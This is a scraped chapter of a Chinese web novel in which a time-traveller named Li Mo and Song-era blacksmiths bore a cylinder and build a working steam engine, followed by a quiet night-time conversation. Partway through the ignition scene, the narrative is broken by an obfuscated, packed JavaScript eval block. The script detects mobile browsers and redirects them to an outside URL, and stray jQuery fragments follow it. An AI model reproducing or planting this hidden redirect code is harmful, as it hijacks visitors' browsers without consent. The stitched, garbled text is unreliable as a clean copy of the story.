默认冷灰
24号文字
方正启体

11. 蒸汽机

作者:申澈的澈本书字数:K更新时间:
    入冬后的第一场雪落下来的时候,李默已经把自己关在作坊里整整二十七天。


    阿钝每天三顿饭送到门口,敲三下,把碗放在地上,转身就走。有一回他忍不住从门缝往里瞅了一眼——就一眼,吓得他一屁股坐在地上。


    屋里全是图纸。墙上贴着,地上铺着,桌上堆着,连窗户都用图纸糊上了,透进来的光都是纸黄色的。李默蹲在那些图纸中间,头发乱得像个鸟窝,眼窝深陷,颧骨凸出,活脱脱一个刚从坟里爬出来的死人。


    “师父他……他没事吧?”阿钝问孙二。


    孙二瞥了一眼那扇紧闭的门。


    “没事。有事他会喊。”


    “他喊过吗?”


    “没喊过,就是还活着。”


    阿钝缩了缩脖子,把新的一碗饭放在门口,端走上一顿的碗——上一顿的饭一口没动。


    第二十八天早上,门开了。


    李默走出来的时候,所有人都愣住了。


    不是因为他瘦——瘦是早就瘦了。是因为他的眼睛。


    那双眼睛里有一种光,亮得吓人,像是熬了二十八天夜的人突然看见了太阳。


    “孙监工。”他说,“咱们有多少铁?”


    孙二愣了一下。


    “铁?库房里那点,你都知道。”


    “不够。”李默说,“要更多。”


    “要多少?”


    李默想了想。


    “先把汴梁城里能买到的铁,全买了。”


    孙二以为自己听错了。


    “全买了?咱们哪来那么多钱?”


    李默从怀里摸出一个东西,递给他。


    是那两根金条——钱通送的,他当时没接,但钱通走的时候偷偷塞在门缝里,他发现后一直没收。


    “先用这个。”


    孙二接过金条,翻来覆去看了半天。


    “这不是江南商会那……”


    “先用。”李默说,“以后还。”


    孙二盯着他看了半天,最后点了点头。


    “行。你说啥是啥。”


    三天后,将作监的院子里堆满了铁。


    不是好铁——是汴梁城里能买到的各种铁。有生铁锭,有废铁锅,有破铁犁,还有一堆不知道从哪儿收来的铁钉子。周老倔带着几个铁匠蹲在那堆铁旁边,脸上全是困惑。


    “李头儿,这些铁……有的好有的坏,掺一块儿使,打出来的东西能用?”


    李默没回答。他蹲下来,从那一堆铁里挑出一块生铁锭,又挑出一块废铁锅,放在手里掂了掂。


    “周师傅,你打了一辈子铁,我问你一件事。”


    “啥?”


    “铁烧红了,锤打的时候,你看见什么?”


    周老倔愣了一下。


    “看见什么?看见……看见铁呗。”


    “不是。”李默说,“你看见的是铁里的杂质在往外跑。有的铁杂质多,一烧就脆;有的铁杂质少,越打越韧。你想打好东西,就得把杂质多的和杂质少的配着用,让它们互相补。”


    周老倔听着这些话,眼睛里慢慢有了光。


    “你……你怎么知道这些?”


    李默没回答。


    他只是站起来,指着那堆铁。


    “从今天起,咱们打一样新东西。”


    新东西没有名字。


    李默管它叫“那个机器”。图纸画了二十八天,现在要把它变成真的。


    第一道难题是气缸。


    气缸要圆,要直,要里面光滑得像镜子一样。周老倔打了四十年铁,没见过这么刁钻的要求。


    “这玩意儿……怎么打?”


    李默带着他做了一台手摇镗床。


    其实就是个架子,架着一根铁杆,铁杆头上镶着钢刃。把铸好的铁管卡在架子上,摇动手柄,让铁杆慢慢转进去,钢刃一点一点把内壁刮平。


    周老倔第一回试的时候,摇了半个时辰,出了一身汗,刮出来的铁屑堆了一小堆。他把铁管拿起来,对着光往里看——里面亮堂堂的,能照见自己的脸。


    “这……这成了?”


    李默接过铁管,用手指摸了摸内壁。


    还不够光滑。但在这个时代,已经是奇迹。


    “成了。”他说。


    周老倔站在那里,看着那根铁管,忽然笑了。


    笑着笑着,眼泪流下来。


    “我打了四十年铁……”他说,“头一回知道,铁还能这样。”


    阿钝每天跟着李默,眼睛瞪得溜圆,生怕漏掉一点。


    他记不住图纸,但他记住了另一件事——李默每次遇到难题,就会蹲下来,闭着眼睛,一动不动。


    有一回他忍不住问:“师父,你蹲着干啥?”


    李默没睁眼:“在想。”


    “想啥?”


    “想那些画图纸的人。他们当初怎么想出来的。”


    阿钝蹲在他旁边,也闭上眼睛。


    过了一会儿,他睁开眼。


    “师父,我想不出来。”


    李默睁开眼,看着他。


    “慢慢想。”他说,“想多了,就会了。”


    阿钝点点头,又闭上眼睛。


    这回他想了很久。


    阿箬不蹲着。


    她站在旁边,看着那些铁匠干活,一看就是一整天。有时候李默回头,能看见她的眼睛——还是冷的,但冷里多了点别的东西。


    有一天,李默正在调那个镗床,忽然听见身后有人说:


    “那个地方,歪了。”


    他回头,看见阿箬站在三步外,指着镗床的一个连接处。


    李默低头看了看。确实歪了,歪了一点点,不仔细看看不出来。


    “你怎么看出来的?”


    阿箬没回答。她只是走过来,蹲下,用手指摸了摸那个地方。


    “眼睛看出来的。”她说。


    李默看着她。


    这个女孩,杀过人的那个女孩,被人卖过四回的那个女孩,手上有一道深疤的那个女孩——她有一双好眼睛。


    “阿箬。”他说。


    “嗯?”


    “想学吗?”


    她抬起头,看着他。


    那双眼睛里,冷的那一层下面,有光在动。


    “想。”


    “那就学。”李默说,“先从看开始。”


    第二十五天,第一台蒸汽机的气缸镗好了。


    第三十天,活塞做好了。


    第三十五天,连杆和飞轮做好了。


    第四十天,他们把所有的零件拼在一起,放在院子中央。


    那天没下雪,天很晴,阳光照在那个奇形怪状的铁家伙上,照出一片刺眼的光。


    所有人都围在四周,看着那个东西。


    周老倔站在最前面,眼睛瞪得老大。


    孙二站在旁边,手攥着袖子,攥得紧紧的。


    阿钝蹲在李默脚边,大气都不敢出。


    阿箬站在人群最外边,眼睛盯着那个铁家伙,一动不动。


    李默蹲下来,检查每一个连接处。他的手很稳,但只有他自己知道,心跳得有多快。


    二十一世纪的时候,他调试过无数次蒸汽机。每一次都很兴奋,但从来没有这一次这样——


    这一次,如果成了,改变的将不只是效率。


    是所有人的命。


    他站起来,退后几步。


    “点火。”


    阿钝


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17401599|200419||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    拿着火把,手有点抖。他看了李默一眼,李默点了点头。


    火把伸进炉膛里。


    煤燃起来,火光照亮了所有人的脸。


    水开始烧,开始冒气,开始嘶嘶地响。


    然后——


    “嗵。”


    一声闷响。活塞动了一下。


    所有人屏住呼吸。


    “嗵。”


    又一下。


    “嗵嗵嗵嗵嗵——”


    活塞动起来了,越来越快,连杆跟着动,飞轮开始转。


    转起来了。


    那个铁家伙,活了。


    院子里一片死寂。


    然后不知道谁先喊了一声,所有人炸了。有人跳,有人叫,有人跪下来,有人哭。


    周老倔一屁股坐在地上,老泪纵横。


    孙二张着嘴,半天合不上。


    阿钝跳起来,绕着院子跑,一边跑一边喊:“动了动了动了!”


    阿箬还是站在人群最外边,一动不动。


    但她的眼睛里,冷的那一层下面,有什么东西裂开了。


    李默站在那里,看着那个转动的飞轮。


    阳光照在他脸上,照出二十八天没睡好觉留下的黑眼圈,照出瘦得脱相的脸颊,照出那双眼睛里——


    有泪光。


    他没擦。


    就让它们在那里,在阳光下,亮着。


    夜里,所有人都睡了。


    李默一个人坐在院子里,看着那个蒸汽机。月光照在上面,照出一层冷冷的银色。


    身后有脚步声。


    阿箬走过来,在他旁边坐下。


    “睡不着?”


    “嗯。”


    她没说话,只是看着那个蒸汽机。


    过了很久,她忽然开口:


    “我娘活着的时候,跟我说过一个故事。”


    李默转头看她。


    “她说,很久以前,有一个人,做了一架木头的鸟。那鸟会飞,飞了三天三夜没落下来。”


    她顿了顿。


    “我小时候不信。木头的东西,怎么会飞?”


    她看着那个蒸汽机。


    “现在信了。”


    李默没说话。


    阿箬转过头,看着他。


    “你到底是什么人?”


    月光下,她的眼睛亮得吓人。


    李默想了想。


    “一个会做梦的人。”他说。


    阿箬看着他。


    “冯道说的那个‘比你还能做梦的人’,”她说,“是谁?”


    李默摇头。


    “不知道。”


    阿箬沉默了一会儿。


    “要是我,”她说,“那个人,说不定是你自己。”


    李默愣了一下。


    阿箬站起来,拍拍身上的土。


    “睡了。”她说。


    她走了。


    李默坐在那里,看着她的背影消失在黑暗里。


    然后他抬起头,看着月亮。


    阿箬说的那句话,在他脑子里转了好几圈。


    “说不定是你自己。”


    他想起这四十天的每一夜,想起那些画烂的图纸,想起那些失败的试验,想起周老倔的眼泪,想起阿钝的喊声,想起那个转起来的飞轮。


    他忽然想起二十一世纪的时候,导师跟他说过的一句话:


    “你以为你在创造技术,其实技术也在创造你。”


    那时候他不明白。


    现在好像有点明白了。


    远处传来打更的声音。


    “咚——咚——咚——”


    三更了。


    李默站起来,走回屋里。


    明天,还有太多事要做。
(←快捷键) <<上一章 投推荐票 回目录 标记书签 下一章>> (快捷键→)